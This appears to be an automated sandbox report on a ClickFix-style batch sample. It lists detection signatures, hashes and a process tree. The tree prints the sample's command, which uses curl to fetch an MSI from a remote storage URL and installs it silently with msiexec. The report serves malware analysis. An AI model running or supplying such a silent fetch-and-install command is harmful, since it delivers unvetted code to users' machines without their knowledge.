Analysis

  • max time kernel
    148s
  • max time network
    135s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    17/08/2026, 10:15

General

  • Target
    clickfix_raw_user_input.bat
  • Size 142B
  • Sample260817-macfvsyshw
  • SHA256 0933c3cd273e70b2e5add7dfe3e532837bc96b98e64eee8c62f930a31ed58c19
  • MD5 SHA1 SHA512 TLSH
Score
3/10

Malware Config

Signatures

  • Executes a command shell one-liner 1 TTPs 2 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious use of AdjustPrivilegeToken 32 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs
  • cURL User-Agent 1 IoCs

    Uses User-Agent string associated with cURL utility.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\clickfix_raw_user_input.bat"
    1⤵
    • Executes a command shell one-liner
    • Suspicious use of WriteProcessMemory
    PID:3552
    • C:\Windows\system32\cmd.exe
      cmd /c "curl -L https://storage.googleapis.com/nodedownload/Node_Min.msi -o C:\Users\Admin\AppData\Local\Temp\n.msi && msiexec /i C:\Users\Admin\AppData\Local\Temp\n.msi /qn /norestart"
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:5440
      • C:\Windows\system32\curl.exe
        curl -L https://storage.googleapis.com/nodedownload/Node_Min.msi -o C:\Users\Admin\AppData\Local\Temp\n.msi
        3⤵
          PID:1460
        • C:\Windows\system32\msiexec.exe
          msiexec /i C:\Users\Admin\AppData\Local\Temp\n.msi /qn /norestart
          3⤵
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of SetWindowsHookEx
          PID:4916
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:5648

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          n.msi

          • Path C:\Users\Admin\AppData\Local\Temp\n.msi
          • Size 268B
          • SHA256 54e9d4c10fc4ba8795da651f2c642bf435012457226c6e23dee845e429649423
          • MD5 SHA1 SHA512 TLSH